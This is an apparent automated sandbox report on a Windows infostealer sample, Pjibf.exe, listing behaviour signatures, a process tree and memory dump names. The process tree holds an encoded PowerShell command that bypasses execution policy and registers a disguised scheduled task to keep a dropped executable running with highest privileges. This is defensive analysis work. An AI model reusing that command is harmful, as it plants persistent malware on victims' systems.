Analysis
- max time kernel
148s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
15/04/2026, 16:59
General
- Target Pjibf.exe
- Size 387KB
- Sample260415-vhtdcaey9r
- SHA256 14118a6070f89baafd5f2aeaf2df7535a8053f99944453584f0d1efeb6501ac3
Malware Config
Signatures
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Pjibf.exe"C:\Users\Admin\AppData\Local\Temp\Pjibf.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBkAG8AdwBzAFIAdQBuAGUAdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACcAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHcAcwBSAHUAbgBlAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAnACkAIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAoAEcAZQB0AC0ARABhAHQAZQApACAALQBSAGUAcABlAHQAaQB0AGkAbwBuAEkAbgB0AGUAcgB2AGEAbAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAE0AaQBuAHUAdABlAHMAIAA1ACkAKQAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBTAGUAYwBvAG4AZABzACAAMAApACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwApACAALQBGAG8AcgBjAGUA2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
TmpDF5.tmp
__PSScriptPolicyTest_a03ojqmg.clm.ps1
memory/1200-35-0x00000000078A0000-0x00000000078D4000-memory.dmp
memory/1200-55-0x0000000003020000-0x0000000003039000-memory.dmp
memory/1200-21-0x00000000057B0000-0x0000000005DDA000-memory.dmp
memory/1200-18-0x0000000003140000-0x0000000003150000-memory.dmp
memory/1200-22-0x0000000005750000-0x0000000005772000-memory.dmp
memory/1200-23-0x0000000006050000-0x00000000060B6000-memory.dmp
memory/1200-24-0x00000000061C0000-0x0000000006226000-memory.dmp
memory/1200-19-0x0000000003060000-0x0000000003096000-memory.dmp
memory/1200-31-0x0000000006230000-0x0000000006587000-memory.dmp
memory/1200-32-0x00000000066E0000-0x00000000066FE000-memory.dmp
memory/1200-33-0x0000000006790000-0x00000000067DC000-memory.dmp
memory/1200-38-0x0000000003140000-0x0000000003150000-memory.dmp
memory/1200-20-0x0000000003140000-0x0000000003150000-memory.dmp
memory/1200-58-0x0000000005710000-0x0000000005728000-memory.dmp
memory/1200-34-0x000000007F7B0000-0x000000007F7C0000-memory.dmp
memory/1200-37-0x0000000003140000-0x0000000003150000-memory.dmp
memory/1200-45-0x00000000078E0000-0x00000000078FE000-memory.dmp
memory/1200-46-0x0000000007980000-0x0000000007A24000-memory.dmp
memory/1200-47-0x0000000008160000-0x00000000087DA000-memory.dmp
memory/1200-48-0x0000000007AE0000-0x0000000007AFA000-memory.dmp
memory/1200-49-0x0000000007B30000-0x0000000007B3A000-memory.dmp
memory/1200-50-0x0000000007D50000-0x0000000007DE6000-memory.dmp
memory/1200-51-0x0000000007CE0000-0x0000000007CF1000-memory.dmp
memory/1200-52-0x0000000003140000-0x0000000003150000-memory.dmp
memory/1200-36-0x0000000070760000-0x00000000707AC000-memory.dmp
memory/1200-56-0x0000000005180000-0x0000000005202000-memory.dmp
memory/1200-57-0x00000000055E0000-0x00000000056CA000-memory.dmp
memory/3300-162-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-126-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-2-0x0000000005670000-0x00000000056E2000-memory.dmp
memory/3300-3-0x0000000003040000-0x0000000003090000-memory.dmp
memory/3300-4-0x0000000005780000-0x0000000005812000-memory.dmp
memory/3300-5-0x00000000059E0000-0x0000000005A2C000-memory.dmp
memory/3300-59-0x0000000005860000-0x0000000005870000-memory.dmp
memory/3300-63-0x00000000071F0000-0x0000000007796000-memory.dmp
memory/3300-64-0x0000000006FF0000-0x0000000007074000-memory.dmp
memory/3300-66-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-78-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-176-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-182-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-180-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-178-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-174-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-172-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-170-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-168-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-166-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-164-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-0-0x0000000000810000-0x0000000000878000-memory.dmp
memory/3300-160-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-158-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-156-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-154-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-152-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-150-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-146-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-144-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-142-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-140-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-138-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-136-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-134-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-132-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-130-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-1-0x0000000005860000-0x0000000005870000-memory.dmp
memory/3300-125-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-120-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-116-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-115-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-112-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-108-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-107-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-104-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-102-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-100-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-98-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-96-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-92-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-90-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-86-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-84-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-82-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-80-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-76-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-74-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-72-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-70-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-68-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-148-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-128-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-122-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-119-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-110-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-94-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-88-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-65-0x0000000006FF0000-0x000000000706E000-memory.dmp
memory/3300-2320-0x0000000005860000-0x0000000005870000-memory.dmp
memory/3300-2321-0x0000000006F80000-0x0000000006F8A000-memory.dmp
memory/3300-2322-0x0000000007D90000-0x0000000007E60000-memory.dmp
memory/3300-5415-0x0000000008060000-0x0000000008132000-memory.dmp
memory/3300-8521-0x0000000005860000-0x0000000005870000-memory.dmp